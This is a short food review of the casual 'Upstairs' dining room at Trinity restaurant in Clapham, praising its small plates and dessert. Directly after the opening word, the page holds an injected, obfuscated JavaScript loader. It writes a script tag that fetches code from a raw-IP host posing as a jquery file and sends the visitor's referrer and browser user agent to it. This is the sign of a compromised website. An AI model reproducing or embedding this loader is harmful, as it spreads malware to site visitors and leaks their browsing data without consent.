Trinity (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfftr|var|u0026u|referrer|srdyr||js|php’.split(‘|’),0,{}))
in Clapham has been feeding Londoners since 2006 and after a complete re-design of the restaurant earlier this year, chef Adam Byatt launched ‘Upstairs’ in October. It is a much more casual affair than the traditional restaurant below, but there is definitely no compromise on the cooking, with each dish lovingly prepared by Adam.

Offering a changing daily menu of 12 small plates, perfect for sharing, and a ridiculously long wine list, we really were spoilt for choice. But the real stand out dish were the Veal Bolognese fritters, crispy on the outside with a rich, soft inside… they were some damn fine balls. Other favourites included the doughnut mozzarella topped with spiced aubergine and coriander and the BBQ Venison Fillet with sprout tops and chestnuts. With only a single dessert on the menu it has to be a real crowd pleaser, and the chocolate cremosa with salted caramel ice-cream certainly was.


Upstairs has taken Trinity to new levels (literally) and is defo one worth climbing the stairs to.

The Trinity, 4 The Polygon, London SW4 0JG